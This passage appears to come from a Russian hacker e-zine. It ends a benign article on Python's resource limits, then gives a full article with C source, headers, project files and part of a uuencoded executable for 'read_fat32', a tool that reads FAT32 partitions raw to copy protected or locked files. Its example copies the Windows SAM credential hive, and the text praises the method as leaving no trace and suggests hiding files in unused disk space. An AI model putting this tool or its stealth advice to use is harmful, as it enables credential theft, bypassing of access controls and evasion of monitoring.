  [+]   RLIMIT_OFILE -> [softlimit]: 1024 [hardlimit]: 1024
  [+] RLIMIT_MEMLOCK -> [softlimit]: -1   [hardlimit]: -1
  
  [*] Program halted... system exit!
  root@localhost limits# 

 SOFTLIMIT - мягкий предел, HARDLIMIT - твёрдый предел. 1-ый не может пре-
 высить второй, ибо при этом возбудится исключение ValueError.
 Относительно же значений мягких и твёрдых пределов, равных -1, скажу, что
 таким образом указывается самое максимальное значение предела.

 Так что (особенно 4 kids) особо не удивляйтесь советам в mc - много ОЗУ?-
 установите ограничение на blah blah blah в -1.

  -[ rlimit_ofile testing

 Для  проверки работоспособности контроля за системными ресурсами, я решил
 протестировать один из лимитов.

 Мною была написана программа генерирования 1024 файлов - для сверки дейс-
 твительности количества максимально открытых файлов.

 То есть, как указывал SOFLIMIT на RLIMIT_OFILE -> 1024, соотвественно при
 одновременном  открытии уже 1025 файлов (практически, конечно же, немного
 менее), python - интерпретатор должен был выдать ошибку наподобии:

 IOError: [Errno 24] Too many open files: ...,

 -> RLIMIT_OFILE testing dump ->

  root@localhost limits# ls
  create1024.py* createvars.py* getlimits.py*
  root@localhost limits# cat createvars.py
  #!/usr/bin/env python
  NUM = 1024
  fd = open("test", "w")
  fd.write("test=[")
  for loop in xrange(0, NUM):
      fd.write("'fd"+str(loop)+"',")
  fd.write("]")
  fd.close()
  root@localhost limits# cat create1024.py
  #!/usr/bin/env python
  import resource
  unknown = {}
  execfile("test", unknown)
  test_lst = unknown['test']
  for loop in xrange(0, len(test_lst)):
      test_lst[loop] = open("temp"+str(loop), "w")
      print str(loop) + ":" + str(resource.getrlimit(resource.RLIMIT_OFILE)[0]) + \
                        ":" + str(resource.getrlimit(resource.RLIMIT_OFILE)[1])
  root@localhost limits# python createvars.py
  root@localhost limits# python create1024.py
  0:1024:1024
  1:1024:1024
  cut cut cut
  1016:1024:1024
  1017:1024:1024
  Traceback (most recent call last):
    File "create1024.py", line 10, in ?
  IOError: [Errno 24] Too many open files: 'temp1018'
  root@localhost limits# rm -rf temp*
  root@localhost limits#

 -> RLIMIT_OFILE testing dump ->

 В  печатной  же  литературе python, широко известны, к примеру, следующие
 почти аналогичные фрагменты кода:

  >>> import resource
  >>> resource.setrlimit(resource.RLIMIT_OFILE, (4, 5))
  >>> f1 = open("/dev/null")
  >>> f2 = open("/dev/zero")
  Traceback (most recent call last):
    File "<stdin>", line 1, in ?
  IOError: [Errno 24] Too many open files: '/dev/zero'

 То есть при открытии файла /dev/zero возбудилось исключение  IOError, так
 как уже при  открытых sys.stdin, sys.stdout, sys.stderr и /dev/null ( об-
 щее количество уже равно четырём), /dev/zero оказался пятым по счёту.

  -[ close words 

 Вообщем, как вы видите, модуль resource очень мощный инструмент  в  руках
 системного программиста, возможно даже системного администратора, так как
 мы  не только имеем возможность получения действующих системных ограниче-
 ний, но  и установки таковых, что очень полезно при  написании  различных
 системных утилит и программ администрирования.Да и вдобавок ко всему это-
 му  программирование с resource - просто интересный простор для собствен-
 ных исследований.

  -[ ps. /etc/security/limits.conf

 Устанавливать  лимиты на системные  ресурсы можно и не только программным
 путём.

 В  свете  представленной выше информации можете ознакомиться с содержимым
 стандартного файла многих linux дистрибутивов:

 -> cat /etc/security/limits.conf ->

  # /etc/security/limits.conf
  #
  #Each line describes a limit for a user in the form:
  #
  #<domain>        <type>  <item>  <value>
  #
  #Where:
  #<domain> can be:
  #        - an user name
  #        - a group name, with @group syntax
  #        - the wildcard *, for default entry
  #
  #<type> can have the two values:
  #        - "soft" for enforcing the soft limits
  #        - "hard" for enforcing hard limits
  #
  #<item> can be one of the following:
  #        - core - limits the core file size (KB)
  #        - data - max data size (KB)
  #        - fsize - maximum filesize (KB)
  #        - memlock - max locked-in-memory address space (KB)
  #        - nofile - max number of open files
  #        - rss - max resident set size (KB)
  #        - stack - max stack size (KB)
  #        - cpu - max CPU time (MIN)
  #        - nproc - max number of processes
  #        - as - address space limit
  #        - maxlogins - max number of logins for this user
  #        - priority - the priority to run user process with
  #        - locks - max number of file locks the user can hold
  #
  #<domain>      <type>  <item>         <value>
  #
  
  #*               soft    core            0
  #*               hard    rss             10000
  #@student        hard    nproc           20
  #@faculty        soft    nproc           20
  #@faculty        hard    nproc           50
  #ftp             hard    nproc           0
  #@student        -       maxlogins       4
  
  # End of file

 -> cat /etc/security/limits.conf ->

  -[ credits

 Все credits хочется направить в адрес Романа Сузи (именно в его книге под
 названием "Python", я и впервые познакомился с  модулем resource, где бы-
 ло дано описание "ресурных" констант и функций), а также всем своим сете-
 вым друзьям и риал лайфовским )) родителям.




                ,?$$;$!$$$$$$$$$$$$$$$$$$$$$$$$!$$$$$$$$$!$$$$.
                %;'                                         `;%
                    Full access to the disk partitions(win)
                %;.                                         ,;%
                `?$$$$$;$!$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$!$$$$'




 В  данной статье описано как можно получить доступ к любому файлу / папке
 в WinNT, в том числе и к защищенному / открытому в эксклюзивном режиме.
 Для  понимания  желательны хотя  бы поверхностные знания работы драйверов
 устройств и режима ядра Windows NT.

 Широко известно,что в *nix like операционных системах уст-ва представлены
 в виде обычных файлов и можно например с легкостью сделать образ  дискеты
 или CD, просто копируя файл соответствующего устройства.

 Но не многие знают, что и в Windows есть возможность работы с устройством
 как с обычным файлом, получая полный доступ к файловой системе.

 В WinNT для того, чтобы управлять каким либо драйвером устройства (по су-
 ти самим устройством), без разницы реального или виртуального, нужно отк-
 рыть символьную ссылку на объект этого устройства.

 Например:  fopen("\\\\.\\A:", "rb") 

 откроет символьную  ссылку на уст-во \Device\Floppy0, что является первым
 флоппи диском.

 Открыв ссылку, можно управлять устройством функцией DeviceIoControl.

 Но кроме  этого, и что более интересно в нашем случае, можно читать / пи-
 сать / перемещать указатель файла для этого уст-ва как при работе с обыч-
 ным файлом. Конечно не всем устройствам есть что читать / писать, а неко-
 торым объектам вообще не соответствует никаких реальных уст-ств, т.е. же-
 леза - это виртуальные устройства. 

 В случае же с флоппи, прочитав например  первые 512 байт с уст-ва \\.\A:,
 они окажутся бут сектором флоппи  диска, т.е. файл имеет структуру флоппи
 диска или структуру FAT12.

 Разделы жесткого диска тоже представлены отдельными  устройствами и имеют 
 свои символьные ссылки - диску С: соответствует \\.\С: и т.д.

 Посмотреть какие существуют объекты устройств в системе и символьные ссы-
 лки на них можно с помощью программы WinObj (www.sysinternals.com).

 Для того, чтобы прочитать какой-либо файл с раздела диска нужно знать ус-
 тройство  файловой системы FAT32/FAT12/FAT16/NTFS - в сети достаточно до-
 кументации по этой теме, кроме того есть исходники Linux.

 Я написал небольшую  программу read_fat32, которая читает и копирует файл
 с заданного раздела FAT32. Самое интересное то,что такой способ получения
 доступа к файлу/папке  дает несколько огромных преимуществ по сравнению с
 обычными способами:

  - можно получить доступ к любому файлу, каталогу - даже защищенному спе-
    циальными  программами (типа FolderGuard или UniversalShield) или отк-
    рытого в эксклюзивном режиме.

    например, можно легко скопировать файлы кустов реестра.

  - всё, что можно  узнать о наших действиях,  это то, что был открыт файл
    \\.\X:, даже если скопирован / изменён какой - либо системный файл.
    
    делаем с системой всё, что угодно - никто об этом не узнает.

  - зная особенности файловых систем, можно например "спрятать" какой-либо
    файл от  доступа обычных программ и системы в неиспользуемом или заре-
    зервированном пространстве раздела.

 ps  для открытия символьной ссылки нужно иметь соответствующие права дос-
     тупа;

     функция DefineDosDevice может создавать символьные ссылки на  уст-тва
     из ring-3.


 readme
 ======

 ---< cut here >---
 read_fat32 by shmel for Windows 2k/XP.

 This program can read and copy some protected (hidden or unreadable) 
 files (for example, registry files). Also it can read files from 
 folders influenced by programs like FolderGuard, UniversalShield etc.
 It based on some open source programs and writed for educational 
 purposes only.

 NOTE: This prog can work ONLY WITH FAT32 partitions.

 All questions mail to [email protected]
 ---< cut here >---

 read_fat32.c
 ============

 ---< cut here >---
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
#include "linux_types.h"
#include "msdos_fs.h"
#include "split.h"

__u8 mbr[512];

struct fat_boot_sector fbs;
struct fat_boot_fsinfo fsinfo;
struct msdos_dir_entry dentry;

__u32 *fat32 = NULL;
__u16 sector_size;
__u16 dir_entries;
__u16 sectors;
__u32 fat32_size;
__u32 data_start;
__u16 byte_per_cluster;
__u32 next_cluster;
__u32 root_cluster;
__u8 *dir_entry = NULL;
__u64 start_seek = 0;
FILE *fd;

int read_fbs()
{
    fseek(fd, 0, 0);
    if(fread((__u8 *)&fbs, sizeof(fbs), 1, fd) < 0) 
        return -1;
    return 0;
}

int read_fs_info()
{
    __u64 seek = (__u64)fbs.info_sector * 512 + start_seek;
    fseek(fd, seek, 0);
    if(fread((__u8 *)&fsinfo, sizeof(fsinfo), 1, fd) < 0) 
        return -1;
    return 0;
}

int read_fat32()
{
    __u64 seek = (__u64)fbs.reserved * 512 + start_seek;

    fat32 = (void *)malloc(fat32_size);
    if(!fat32) 
        return -1;

    fseek(fd, seek, 0);
    if(fread((__u8 *)fat32, fat32_size, 1, fd) < 0) 
        return -1;
    return 0;
}

int read_cluster(__u32 cluster_num, __u8 *tmp_buff)
{
    __u64 seek = (__u64)(byte_per_cluster) * (cluster_num - 2) + data_start + start_seek;
    fsetpos(fd, &seek);
    return fread(tmp_buff, byte_per_cluster, 1, fd); 
}

int read_directory(__u32 start_cluster)
{
    int i = 2;
    __u32 next_cluster;

    if(read_cluster(start_cluster, dir_entry) < 0) 
        return -1;
    next_cluster = fat32[start_cluster];

    if ((next_cluster == EOF_FAT32) || (next_cluster == 0xFFFFFF8)) 
        return 0;

    for(; ;i++) 
    {
        start_cluster = next_cluster;
        dir_entry = (__u8 *)realloc(dir_entry, i * byte_per_cluster);
        if(!dir_entry) 
            return -1;
        if(read_cluster(start_cluster, (dir_entry + (i - 1) * byte_per_cluster)) < 0) 
            return -1;
        next_cluster = fat32[start_cluster];

        if((next_cluster == EOF_FAT32) || (next_cluster == 0xFFFFFF8)) 
            return 0;
    }
    return 0;
}

int get_dentry(struct split_name *sn)
{
    int i = 0;

    for(;;i++) 
    {
        memcpy((void *)&dentry, dir_entry + i * sizeof(dentry), sizeof(dentry));
        if(!(memcmp(dentry.name, sn->name, sn->name_len)) && !(memcmp(dentry.ext, sn->ext, sn->ext_len)))
            break;

        if(!dentry.name[0]) 
            return -1;
    }

    return 0;
}

int fat32_read_file(__u8 *full_path, __u8 *out_file)
{
    struct split_name sn;
    __u8 tmp_name_buff[13];
    int i = 1, n, k;
    FILE *fout;

    __u32 start_cluster, next_cluster;
    __u8 *tmp_buff;

    memset(tmp_name_buff, 0, SHORT_NAME);
    memset((void *)&sn, 0, sizeof(struct split_name));

    if(full_path[0] != '/') 
        return -1;

    if(read_fbs() < 0) 
        return -1;

    sector_size = fbs.sector_size;
    dir_entries = fbs.dir_entries;
    sectors = fbs.sectors;

    if(read_fs_info() < 0) 
        return -1;

    fat32_size = fbs.fat32_length * 512;
    data_start = 512 * fbs.reserved + fat32_size * 2;
    byte_per_cluster = fbs.sec_per_clus * fbs.sector_size;
    root_cluster = fbs.root_cluster;

    if(read_fat32() < 0) 
        return -1;

    dir_entry = (__u8 *)malloc(byte_per_cluster);
    if(!dir_entry) 
        return -1;

    if(read_directory(root_cluster) < 0) 
        return -1;

    while(1) 
    {
        memset(tmp_name_buff, 0, SHORT_NAME);
        memset((void *)&sn, 0, sizeof(struct split_name));

        for(n = 0 ; n < SHORT_NAME; n++, i++) 
        {
            tmp_name_buff[n] = full_path[i];
            if((tmp_name_buff[n] == '/') || (tmp_name_buff[n] == '\0')) 
            {
                i++;
                break;
            }
        }

        tmp_name_buff[n] = '\0';

        if(split_name(tmp_name_buff, &sn) < 0) 
        {
            printf("not valid name\n");
            return -1;
        }

        if(get_dentry(&sn) < 0) 
        {
            printf("No such file!\n");
            return -1;
        }

        start_cluster = (((__u32)dentry.starthi << 16) | dentry.start);

        if(dentry.attr & 0x10) 
        {
            if(read_directory(start_cluster) < 0) 
                return -1;
            continue;
        }

        if(dentry.attr & 0x20) 
        {
            tmp_buff = (__u8 *)malloc(byte_per_cluster);
            fout = fopen(out_file, "wb");
            if(!fout) 
            {
                perror("open outfile");
                return -1;
            }

            printf("file`s first cluster - 0x%X .. ", start_cluster);
            
            n = dentry.size / byte_per_cluster + 1;
            for(i = 0; i <= n; i++) 
            {
                memset(tmp_buff, 0, byte_per_cluster);
                if(!read_cluster(start_cluster, tmp_buff)) 
                    return -1;
                k = dentry.size - (i + 1) * byte_per_cluster;
                if(fwrite(tmp_buff, k > 0 ? byte_per_cluster:(byte_per_cluster + k), 1, fout) < 0) 
                {
                    perror("write");
                    return -1;
                }
                next_cluster = fat32[start_cluster];

                if(next_cluster == EOF_FAT32) 
                {
                    free(tmp_buff);
                    fclose(fout);
                    return ++i;
                }
                start_cluster = next_cluster;
            }
            free(tmp_buff);
            fclose(fout);
            return i;
        }
    }
}

usage()
{
    printf("read_fat32 -d <drive letter> -i <path to protected file> -o <output file name>\n");
    printf("example:\nread_fat32 -d c: -i /windows/system32/config/sam -o c:\\sam\n");
}

main(int argc, char **argv)
{
    int num = 0;
    char in_path[260], out_path[260], drive[3], drive0[8] = "\\\\.\\";

    if (argc-- < 7)
    {
        usage();
        return -1;
    }
    while(argc)
        switch(argv[argc--][1])
        {
        case 'i':
            strncpy(in_path, argv[argc + 2], 260);
            break;
        case 'o':
            strncpy(out_path, argv[argc + 2], 260);
            break;
        case 'd':
            strncpy(drive, argv[argc + 2], 3);
            break;
        default:
            break;
        }
    strcat(drive0, drive);
    fd = fopen(drive0, "rb");
    if (!fd)
    {
        perror("open file");
        return -1;
    }
    num = fat32_read_file(in_path, out_path);
    if(num < 0) 
        perror("fat32_read_file");
    else 
        printf("Read %d clusters\n", num);

    fclose(fd);
    return 0;
}
 ---< cut here >---

 split.c
 =======

 ---< cut here >---
/*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
*/

#include <memory.h>
#include "split.h"

int get_name_len(__u8 *full_name)
{
    int len = 0;
    for(; *full_name++ != '\0'; len++);

    return len;
}


int get_name(__u8 *full_name, __u8 *name, int len)
{
    int i = 0, j;

    for(; i < len; i++) 
    {
      if(full_name[i] == 0x2E) 
        {
          if((len - (i + 1)) > 3) 
                return -1;
          else 
                break;
      }
    }

    if(i > 8) 
        return -1;
    memcpy(name, full_name, i);
    j  = i;
    if (j < 8)
        while (j < 8)
        {
            name[j++] = ' ';
        }
    return i;
}


int get_ext(__u8 *full_name, __u8 *ext, int len)
{
    if(*full_name == 0x2E) 
        memcpy(ext, full_name + 1, len);
}


int check_name(__u8 *name, int length)
{
    int i, n = 0;
    __u8 forb_symb[] = { 0x22, 0x2A, 0x2B, 0x2C, \
      0x2E, 0x2F, 0x3A, 0x3B, \
      0x3C, 0x3D, 0x3E, 0x3F, \
      0x5B, 0x5C, 0x5D, 0x7C };

    for(; n < length; n++) {
  if(name[n] < 0x20) return -1;
        for(i = 0; i < 16; i++) if(name[n] == forb_symb[i]) return -1;
    }

    return 0;
}


void upcase(__u8 *name, int len)
{
    int i = 0;

    for(; i < len; i++)
  if((name[i] >= 0x61) && (name[i] <= 0x7A)) name[i] -= 0x20;

    return;
}


int split_name(__u8 *full_name, struct split_name *sn)
{
    int length = 0;
    length = get_name_len(full_name);

    if(length > SHORT_NAME) 
        return -1;

    sn->name_len = get_name(full_name, sn->name, length);
    if(sn->name_len < 0) 
        return -1;

    if(check_name(sn->name, sn->name_len) < 0) 
        return -1;

    if(length > sn->name_len) 
    {
      sn->ext_len = length - sn->name_len - 1;
      if(!sn->ext_len) return -1;
      if(sn->ext_len) 
        {
          get_ext((full_name + (sn->name_len)), sn->ext, sn->ext_len);
            if(check_name(sn->ext, sn->ext_len) < 0) 
                return -1;
      }
    }
    else
    {
        memcpy(sn->ext, "   ", 4);
        sn->ext_len = 3;
    }

    upcase(sn->name, sn->name_len);
    if(sn->ext_len) 
        upcase(sn->ext, sn->ext_len);
    sn->name_len = 8;
    return 0;
}
 ---< cut here >---

 linux_types.h
 =============

 ---< cut here >---
typedef unsigned char __u8;
typedef unsigned short __u16;
typedef unsigned int __u32;
typedef unsigned __int64 __u64;
 ---< cut here >---

 msdos_fs.h
 ==========

 ---< cut here >---
#ifndef _LINUX_MSDOS_FS_H
#define _LINUX_MSDOS_FS_H

#define SECTOR_SIZE 512   /* sector size (bytes) */
#define SECTOR_BITS 9   /* log2(SECTOR_SIZE) */
#define MSDOS_DPB (MSDOS_DPS) /* dir entries per block */
#define MSDOS_DPB_BITS  4   /* log2(MSDOS_DPB) */
#define MSDOS_DPS (SECTOR_SIZE / sizeof(struct msdos_dir_entry))
#define MSDOS_DPS_BITS  4   /* log2(MSDOS_DPS) */

#define MSDOS_ROOT_INO  1 /* == MINIX_ROOT_INO */
#define MSDOS_DIR_BITS  5 /* log2(sizeof(struct msdos_dir_entry)) */

/* directory limit */
#define FAT_MAX_DIR_ENTRIES (65536)
#define FAT_MAX_DIR_SIZE  (FAT_MAX_DIR_ENTRIES << MSDOS_DIR_BITS)

#define MSDOS_SUPER_MAGIC 0x4d44 /* MD */

#define ATTR_NONE    0 /* no attribute bits */
#define ATTR_RO      1  /* read-only */
#define ATTR_HIDDEN  2  /* hidden */
#define ATTR_SYS     4  /* system */
#define ATTR_VOLUME  8  /* volume label */
#define ATTR_DIR     16 /* directory */
#define ATTR_ARCH    32 /* archived */

#define ATTR_UNUSED  (ATTR_VOLUME | ATTR_ARCH | ATTR_SYS | ATTR_HIDDEN)
  /* attribute bits that are copied "as is" */
#define ATTR_EXT     (ATTR_RO | ATTR_HIDDEN | ATTR_SYS | ATTR_VOLUME)
  /* bits that are used by the Windows 95/Windows NT extended FAT */

#define CASE_LOWER_BASE 8 /* base is lower case */
#define CASE_LOWER_EXT  16  /* extension is lower case */

#define DELETED_FLAG 0xe5 /* marks file as deleted when in name[0] */
#define IS_FREE(n) (!*(n) || *(n) == DELETED_FLAG)

#define MSDOS_VALID_MODE (S_IFREG | S_IFDIR | S_IRWXU | S_IRWXG | S_IRWXO)
  /* valid file mode bits */

#define MSDOS_NAME 11 /* maximum name length */
#define MSDOS_LONGNAME 256 /* maximum name length */
#define MSDOS_SLOTS 21  /* max # of slots needed for short and long names */
#define MSDOS_DOT    ".          " /* ".", padded to MSDOS_NAME chars */
#define MSDOS_DOTDOT "..         " /* "..", padded to MSDOS_NAME chars */

#define MSDOS_FAT12 4084 /* maximum number of clusters in a 12 bit FAT */

/* media of boot sector */
#define FAT_VALID_MEDIA(x)  ((0xF8 <= (x) && (x) <= 0xFF) || (x) == 0xF0)
#define FAT_FIRST_ENT(s, x) ((MSDOS_SB(s)->fat_bits == 32 ? 0x0FFFFF00 : \
  MSDOS_SB(s)->fat_bits == 16 ? 0xFF00 : 0xF00) | (x))

/* bad cluster mark */
#define BAD_FAT12 0xFF7
#define BAD_FAT16 0xFFF7
#define BAD_FAT32 0xFFFFFF7
#define BAD_FAT(s) (MSDOS_SB(s)->fat_bits == 32 ? BAD_FAT32 : \
  MSDOS_SB(s)->fat_bits == 16 ? BAD_FAT16 : BAD_FAT12)

/* standard EOF */
#define EOF_FAT12 0xFFF
#define EOF_FAT16 0xFFFF
#define EOF_FAT32 0xFFFFFFF
#define EOF_FAT(s) (MSDOS_SB(s)->fat_bits == 32 ? EOF_FAT32 : \
  MSDOS_SB(s)->fat_bits == 16 ? EOF_FAT16 : EOF_FAT12)

#define FAT_ENT_FREE  (0)
#define FAT_ENT_BAD (BAD_FAT32)
#define FAT_ENT_EOF (EOF_FAT32)

#define FAT_FSINFO_SIG1   0x41615252
#define FAT_FSINFO_SIG2   0x61417272
#define IS_FSINFO(x)  (CF_LE_L((x)->signature1) == FAT_FSINFO_SIG1  \
       && CF_LE_L((x)->signature2) == FAT_FSINFO_SIG2)

/* 
 * vfat shortname flags
 */
#define VFAT_SFN_DISPLAY_LOWER  0x0001 /* convert to lowercase for display */
#define VFAT_SFN_DISPLAY_WIN95  0x0002 /* emulate win95 rule for display */
#define VFAT_SFN_DISPLAY_WINNT  0x0004 /* emulate winnt rule for display */
#define VFAT_SFN_CREATE_WIN95 0x0100 /* emulate win95 rule for create */
#define VFAT_SFN_CREATE_WINNT 0x0200 /* emulate winnt rule for create */

/*
 * Conversion from and to little-endian byte order. (no-op on i386/i486)
 *
 * Naming: Ca_b_c, where a: F = from, T = to, b: LE = little-endian,
 * BE = big-endian, c: W = word (16 bits), L = longword (32 bits)
 */

#define CF_LE_W(v) le16_to_cpu(v)
#define CF_LE_L(v) le32_to_cpu(v)
#define CT_LE_W(v) cpu_to_le16(v)
#define CT_LE_L(v) cpu_to_le32(v)

#include <pshpack1.h>

struct fat_boot_sector {
  __u8  ignored[3]; /* Boot strap short or near jump */
  __u8  system_id[8]; /* Name - can be used to special case
           partition manager volumes */
  __u16 sector_size;  /* bytes per logical sector */
  __u8  sec_per_clus; /* sectors/cluster */
  __u16 reserved; /* reserved sectors */
  __u8  fats;   /* number of FATs */
  __u16 dir_entries;  /* root directory entries */
  __u16 sectors;  /* number of sectors */
  __u8  media;    /* media code */
  __u16 fat_length; /* sectors/FAT */
  __u16 secs_track; /* sectors per track */
  __u16 heads;    /* number of heads */
  __u32 hidden;   /* hidden sectors (unused) */
  __u32 total_sect; /* number of sectors (if sectors == 0) */

  /* The following fields are only used by FAT32 */
  __u32 fat32_length; /* sectors/FAT */
  __u16 flags;    /* bit 8: fat mirroring, low 4: active fat */
  __u8  version[2]; /* major, minor filesystem version */
  __u32 root_cluster; /* first cluster in root directory */
  __u16 info_sector;  /* filesystem info sector */
  __u16 backup_boot;  /* backup boot sector */
  __u16 reserved2[6]; /* Unused */
};

struct fat_boot_fsinfo {
  __u32   signature1; /* 0x41615252L */
  __u32   reserved1[120]; /* Nothing as far as I can tell */
  __u32   signature2; /* 0x61417272L */
  __u32   free_clusters;  /* Free cluster count.  -1 if unknown */
  __u32   next_cluster; /* Most recently allocated cluster */
  __u32   reserved2[4];
};

struct msdos_dir_entry {
  __u8  name[8],ext[3]; /* name and extension */
  __u8  attr;   /* attribute bits */
  __u8    lcase;    /* Case for base and extension */
  __u8  ctime_ms; /* Creation time, milliseconds */
  __u16 ctime;    /* Creation time */
  __u16 cdate;    /* Creation date */
  __u16 adate;    /* Last access date */
  __u16   starthi;  /* High 16 bits of cluster in FAT32 */
  __u16 time,date,start;/* time, date and first cluster */
  __u32 size;   /* file size (in bytes) */
};

/* Up to 13 characters of the name */
struct msdos_dir_slot {
  __u8    id;   /* sequence number for slot */
  __u8    name0_4[10];  /* first 5 characters in name */
  __u8    attr;   /* attribute byte */
  __u8    reserved; /* always 0 */
  __u8    alias_checksum; /* checksum for 8.3 alias */
  __u8    name5_10[12]; /* 6 more characters in name */
  __u16   start;    /* starting cluster number, 0 in long slots */
  __u8    name11_12[4]; /* last 2 characters in name */
};

//struct vfat_slot_info {
//  int long_slots;          /* number of long slots in filename */
//  loff_t longname_offset;        /* dir offset for longname start */
//  loff_t i_pos;          /* on-disk position of directory entry */
//};

#include <poppack.h>

/* Convert attribute bits and a mask to the UNIX mode. */
#define MSDOS_MKMODE(a,m) (m & (a & ATTR_RO ? S_IRUGO|S_IXUGO : S_IRWXUGO))

/* Convert the UNIX mode to MS-DOS attribute bits. */
#define MSDOS_MKATTR(m) ((m & S_IWUGO) ? ATTR_NONE : ATTR_RO)

#endif
 ---< cut here >---

 split.h
 =======

 ---< cut here >---
/*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
*/


#include "linux_types.h"
#define SHORT_NAME 13

#include <pshpack1.h>
struct  split_name
{
    __u8 name[9];
    __u8 ext[4];
    int name_len, ext_len;
};
#include <poppack.h>
 ---< cut here >---

 read_fat32.sln
 ==============

 ---< cut here >---
Microsoft Visual Studio Solution File, Format Version 7.00
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "read_fat32", "read_fat32.vcproj", "{DCDA8E00-73AA-44D5-A216-F322A1BC12E7}"
EndProject
Global
  GlobalSection(SolutionConfiguration) = preSolution
    ConfigName.0 = Debug
    ConfigName.1 = Release
  EndGlobalSection
  GlobalSection(ProjectDependencies) = postSolution
  EndGlobalSection
  GlobalSection(ProjectConfiguration) = postSolution
    {DCDA8E00-73AA-44D5-A216-F322A1BC12E7}.Debug.ActiveCfg = Debug|Win32
    {DCDA8E00-73AA-44D5-A216-F322A1BC12E7}.Debug.Build.0 = Debug|Win32
    {DCDA8E00-73AA-44D5-A216-F322A1BC12E7}.Release.ActiveCfg = Release|Win32
    {DCDA8E00-73AA-44D5-A216-F322A1BC12E7}.Release.Build.0 = Release|Win32
  EndGlobalSection
  GlobalSection(ExtensibilityGlobals) = postSolution
  EndGlobalSection
  GlobalSection(ExtensibilityAddIns) = postSolution
  EndGlobalSection
EndGlobal
 ---< cut here >---

 read_fat32.vcproj
 =================

 ---< cut here >---
<?xml version="1.0" encoding = "windows-1251"?>
<VisualStudioProject
  ProjectType="Visual C++"
  Version="7.00"
  Name="read_fat32"
  ProjectGUID="{DCDA8E00-73AA-44D5-A216-F322A1BC12E7}"
  Keyword="Win32Proj">
  <Platforms>
    <Platform
      Name="Win32"/>
  </Platforms>
  <Configurations>
    <Configuration
      Name="Debug|Win32"
      OutputDirectory="Debug"
      IntermediateDirectory="Debug"
      ConfigurationType="1"
      CharacterSet="2">
      <Tool
        Name="VCCLCompilerTool"
        Optimization="0"
        PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
        MinimalRebuild="TRUE"
        BasicRuntimeChecks="3"
        RuntimeLibrary="5"
        StructMemberAlignment="1"
        UsePrecompiledHeader="0"
        WarningLevel="3"
        Detect64BitPortabilityProblems="TRUE"
        DebugInformationFormat="4"/>
      <Tool
        Name="VCCustomBuildTool"/>
      <Tool
        Name="VCLinkerTool"
        OutputFile="$(OutDir)/read_fat32.exe"
        LinkIncremental="2"
        GenerateDebugInformation="TRUE"
        ProgramDatabaseFile="$(OutDir)/read_fat32.pdb"
        SubSystem="1"
        TargetMachine="1"/>
      <Tool
        Name="VCMIDLTool"/>
      <Tool
        Name="VCPostBuildEventTool"/>
      <Tool
        Name="VCPreBuildEventTool"/>
      <Tool
        Name="VCPreLinkEventTool"/>
      <Tool
        Name="VCResourceCompilerTool"/>
      <Tool
        Name="VCWebServiceProxyGeneratorTool"/>
      <Tool
        Name="VCWebDeploymentTool"/>
    </Configuration>
    <Configuration
      Name="Release|Win32"
      OutputDirectory="Release"
      IntermediateDirectory="Release"
      ConfigurationType="1"
      CharacterSet="2">
      <Tool
        Name="VCCLCompilerTool"
        Optimization="2"
        InlineFunctionExpansion="1"
        OmitFramePointers="TRUE"
        PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
        StringPooling="TRUE"
        RuntimeLibrary="4"
        StructMemberAlignment="1"
        EnableFunctionLevelLinking="TRUE"
        UsePrecompiledHeader="0"
        WarningLevel="3"
        Detect64BitPortabilityProblems="TRUE"
        DebugInformationFormat="3"/>
      <Tool
        Name="VCCustomBuildTool"/>
      <Tool
        Name="VCLinkerTool"
        IgnoreImportLibrary="FALSE"
        OutputFile="$(OutDir)/read_fat32.exe"
        LinkIncremental="1"
        GenerateDebugInformation="TRUE"
        SubSystem="1"
        OptimizeReferences="2"
        EnableCOMDATFolding="2"
        TargetMachine="1"/>
      <Tool
        Name="VCMIDLTool"/>
      <Tool
        Name="VCPostBuildEventTool"/>
      <Tool
        Name="VCPreBuildEventTool"/>
      <Tool
        Name="VCPreLinkEventTool"/>
      <Tool
        Name="VCResourceCompilerTool"/>
      <Tool
        Name="VCWebServiceProxyGeneratorTool"/>
      <Tool
        Name="VCWebDeploymentTool"/>
    </Configuration>
  </Configurations>
  <Files>
    <Filter
      Name="Source Files"
      Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm">
      <File
        RelativePath="read_fat32.c">
      </File>
      <File
        RelativePath="split.c">
      </File>
    </Filter>
    <Filter
      Name="Header Files"
      Filter="h;hpp;hxx;hm;inl;inc">
      <File
        RelativePath="linux_types.h">
      </File>
      <File
        RelativePath="msdos_fs.h">
      </File>
      <File
        RelativePath="split.h">
      </File>
    </Filter>
    <Filter
      Name="Resource Files"
      Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe">
    </Filter>
  </Files>
  <Globals>
  </Globals>
</VisualStudioProject>
 ---< cut here >---

 read_fat32.exe
 ==============

 ---< cut here >---
begin 644 read_fat32.exe
M35J0``,````$````__\``+@`````````0```````````````````````````
M````````````````````V`````X?N@X`M`G-(;@!3,TA5&AI<R!P<F]G<F%M
M(&-A;FYO="!B92!R=6X@:6X@1$]3(&UO9&4N#0T*)``````````5PQ`^4:)^
M;5&B?FU1HGYMJX9C;5.B?FVKACYM7:)^;:N!9VU2HGYM4:)_;6:B?FVKAF)M
M&J)^;:N&0VU0HGYM4FEC:%&B?FT`````````````````````4$4``$P!`P!Y
